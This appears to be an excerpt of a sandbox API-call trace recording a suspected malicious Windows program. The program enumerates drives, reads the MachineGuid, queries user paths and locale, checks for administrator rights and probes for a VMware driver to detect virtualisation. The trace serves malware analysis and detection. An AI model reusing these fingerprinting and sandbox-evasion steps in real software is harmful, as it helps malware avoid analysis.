	[0050.520] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000
	[0050.524] CreateFileW (lpFileName="G:\\" (normalized: "g:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.525] FindFirstFileW (in: lpFileName="G:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.529] CreateFileW (lpFileName="H:\\" (normalized: "h:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.529] FindFirstFileW (in: lpFileName="H:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.533] CreateFileW (lpFileName="I:\\" (normalized: "i:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.533] FindFirstFileW (in: lpFileName="I:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.538] CreateFileW (lpFileName="J:\\" (normalized: "j:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.539] FindFirstFileW (in: lpFileName="J:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.544] CreateFileW (lpFileName="K:\\" (normalized: "k:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.544] FindFirstFileW (in: lpFileName="K:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.549] CreateFileW (lpFileName="L:\\" (normalized: "l:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.549] FindFirstFileW (in: lpFileName="L:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.554] CreateFileW (lpFileName="M:\\" (normalized: "m:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.560] FindFirstFileW (in: lpFileName="M:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.565] CreateFileW (lpFileName="N:\\" (normalized: "n:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.566] FindFirstFileW (in: lpFileName="N:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.572] CreateFileW (lpFileName="O:\\" (normalized: "o:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.572] FindFirstFileW (in: lpFileName="O:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.579] CreateFileW (lpFileName="P:\\" (normalized: "p:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.579] FindFirstFileW (in: lpFileName="P:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.586] CreateFileW (lpFileName="Q:\\" (normalized: "q:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.586] FindFirstFileW (in: lpFileName="Q:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.592] CreateFileW (lpFileName="R:\\" (normalized: "r:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.592] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4810000
	[0050.592] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000
	[0050.592] FindFirstFileW (in: lpFileName="R:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.597] CreateFileW (lpFileName="S:\\" (normalized: "s:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.600] VirtualAlloc (lpAddress=0xc00003e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003e000
	[0050.600] FindFirstFileW (in: lpFileName="S:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.600] VirtualAlloc (lpAddress=0xc000040000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000040000
	[0050.606] CreateFileW (lpFileName="T:\\" (normalized: "t:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.606] FindFirstFileW (in: lpFileName="T:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.611] CreateFileW (lpFileName="U:\\" (normalized: "u:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.611] FindFirstFileW (in: lpFileName="U:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.616] CreateFileW (lpFileName="V:\\" (normalized: "v:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.617] FindFirstFileW (in: lpFileName="V:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.621] CreateFileW (lpFileName="W:\\" (normalized: "w:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.621] FindFirstFileW (in: lpFileName="W:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.626] CreateFileW (lpFileName="X:\\" (normalized: "x:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.627] FindFirstFileW (in: lpFileName="X:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.631] CreateFileW (lpFileName="Y:\\" (normalized: "y:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.632] FindFirstFileW (in: lpFileName="Y:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.636] CreateFileW (lpFileName="Z:\\" (normalized: "z:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.657] FindFirstFileW (in: lpFileName="Z:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.657] VirtualAlloc (lpAddress=0xc000108000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000108000
	[0050.657] VirtualAlloc (lpAddress=0xc00010a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010a000
	[0050.658] VirtualAlloc (lpAddress=0xc00010c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010c000
	[0050.658] VirtualAlloc (lpAddress=0xc00010e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010e000
	[0050.658] VirtualAlloc (lpAddress=0xc000110000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000110000
	[0050.658] VirtualAlloc (lpAddress=0xc000112000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000112000
	[0050.659] VirtualAlloc (lpAddress=0xc000114000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000114000
	[0050.659] VirtualAlloc (lpAddress=0xc000116000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000116000
	[0050.659] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000
	[0050.660] VirtualAlloc (lpAddress=0xc00011a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011a000
	[0050.660] VirtualAlloc (lpAddress=0xc00011c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011c000
	[0050.660] VirtualAlloc (lpAddress=0xc00011e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011e000
	[0050.661] VirtualAlloc (lpAddress=0xc000120000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000120000
	[0050.661] VirtualAlloc (lpAddress=0xc000122000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000122000
	[0050.661] VirtualAlloc (lpAddress=0xc000124000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000124000
	[0050.662] VirtualAlloc (lpAddress=0xc000126000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000126000
	[0050.662] VirtualAlloc (lpAddress=0xc000128000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000128000
	[0050.662] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000
	[0050.662] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000
	[0050.663] VirtualAlloc (lpAddress=0xc000134000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000134000
	[0050.663] VirtualAlloc (lpAddress=0xc000136000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000136000
	[0050.664] VirtualAlloc (lpAddress=0xc000138000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000138000
	[0050.664] VirtualAlloc (lpAddress=0xc00013a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013a000
	[0050.664] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce91d0000
	[0050.664] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="RegOpenKeyExW") returned 0x7ffce91e4aa0
	[0050.665] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x101, phkResult=0xc0000c9dd8 | out: phkResult=0xc0000c9dd8*=0x12c) returned 0x0
	[0050.665] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="RegQueryValueExW") returned 0x7ffce91e4c60
	[0050.665] RegQueryValueExW (in: hKey=0x12c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc0000c9da0, lpcbData=0xc0000c9d1c*=0x40 | out: lpType=0xc0000c9d18*=0x1, lpData=0xc0000c9da0*=0x0, lpcbData=0xc0000c9d1c*=0x4a) returned 0xea
	[0050.665] RegQueryValueExW (in: hKey=0x12c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc00013a050, lpcbData=0xc0000c9d1c*=0x4a | out: lpType=0xc0000c9d18*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0xc0000c9d1c*=0x4a) returned 0x0
	[0050.665] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="RegCloseKey") returned 0x7ffce91e4c50
	[0050.665] RegCloseKey (hKey=0x12c) returned 0x0
	[0050.665] VirtualAlloc (lpAddress=0xc00013c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013c000
	[0050.665] VirtualAlloc (lpAddress=0xc00013e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013e000
	[0050.666] VirtualAlloc (lpAddress=0xc000140000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000140000
	[0050.666] VirtualAlloc (lpAddress=0xc000142000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000142000
	[0050.666] VirtualAlloc (lpAddress=0xc000144000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000144000
	[0050.667] VirtualAlloc (lpAddress=0xc000146000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000146000
	[0050.667] VirtualAlloc (lpAddress=0xc000148000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000148000
	[0050.667] VirtualAlloc (lpAddress=0xc00014a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014a000
	[0050.668] VirtualAlloc (lpAddress=0xc00014c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014c000
	[0050.668] VirtualAlloc (lpAddress=0xc00014e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014e000
	[0050.668] VirtualAlloc (lpAddress=0xc000150000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000150000
	[0050.668] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc000150000, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22
	[0050.669] VirtualAlloc (lpAddress=0xc000152000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000152000
	[0050.669] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001500d0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0050.669] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0001501a0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0050.669] VirtualAlloc (lpAddress=0xc000154000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000154000
	[0050.670] GetProcAddress (hModule=0x7ffce9120000, lpProcName="AddDllDirectory") returned 0x7ffce6922300
	[0050.670] GetProcAddress (hModule=0x7ffce9120000, lpProcName="LoadLibraryExW") returned 0x7ffce9138f20
	[0050.670] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce91d0000
	[0050.670] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="AllocateAndInitializeSid") returned 0x7ffce91e5010
	[0050.670] AllocateAndInitializeSid (in: pIdentifierAuthority=0xb421a8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xc0000c9e28 | out: pSid=0xc0000c9e28*=0x1619f3a0d30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0050.671] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="CheckTokenMembership") returned 0x7ffce91e5a90
	[0050.671] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1619f3a0d30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xc0000c9dc4 | out: IsMember=0xc0000c9dc4) returned 1
	[0050.671] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="FreeSid") returned 0x7ffce91e57d0
	[0050.671] LoadLibraryW (lpLibFileName="kernel32") returned 0x7ffce9120000
	[0050.672] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetVersion") returned 0x7ffce913e3a0
	[0050.672] GetVersion () returned 0x23f00206
	[0050.672] VirtualAlloc (lpAddress=0xc000156000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000156000
	[0050.672] LoadLibraryW (lpLibFileName="kernel32") returned 0x7ffce9120000
	[0050.672] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffce913e3b0
	[0050.672] GetUserDefaultLocaleName (in: lpLocaleName=0xc000156000, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6
	[0050.673] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x1, phkResult=0xc0000c9d50 | out: phkResult=0xc0000c9d50*=0x12c) returned 0x0
	[0050.673] RegQueryValueExW (in: hKey=0x12c, lpValueName="LocaleName", lpReserved=0x0, lpType=0xc0000c9c90, lpData=0xc0000c9d18, lpcbData=0xc0000c9c94*=0x40 | out: lpType=0xc0000c9c90*=0x1, lpData="en-US", lpcbData=0xc0000c9c94*=0xc) returned 0x0
	[0050.673] RegCloseKey (hKey=0x12c) returned 0x0
	[0050.673] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc000150270, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0050.673] VirtualAlloc (lpAddress=0xc000158000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000158000
	[0050.674] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetFileAttributesExW") returned 0x7ffce91422f0
	[0050.674] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\Vmmouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vmmouse.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.674] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\Vmmouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vmmouse.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
